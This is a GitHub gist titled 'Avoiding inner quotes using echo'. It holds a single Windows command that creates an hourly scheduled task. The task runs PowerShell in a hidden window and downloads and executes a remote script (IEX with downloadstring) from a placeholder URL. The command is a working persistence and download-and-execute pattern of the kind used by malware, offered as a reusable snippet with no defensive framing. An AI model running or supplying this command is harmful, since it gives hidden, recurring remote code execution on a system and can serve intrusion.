Skip to content

Instantly share code, notes, and snippets.

@scriptjunkie
Created February 8, 2018 03:23
Show Gist options
  • Save scriptjunkie/222849982957699de2736fc1144364e3 to your computer and use it in GitHub Desktop.
Save scriptjunkie/222849982957699de2736fc1144364e3 to your computer and use it in GitHub Desktop.
Avoiding inner quotes using echo
schtasks.exe /create /tn myscript /tr "powershell.exe -Window hidden -c 'IEX ((new-object net.webclient).downloadstring((echo https://www.example.com/myscript.ps1)))'" /sc hourly /f
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment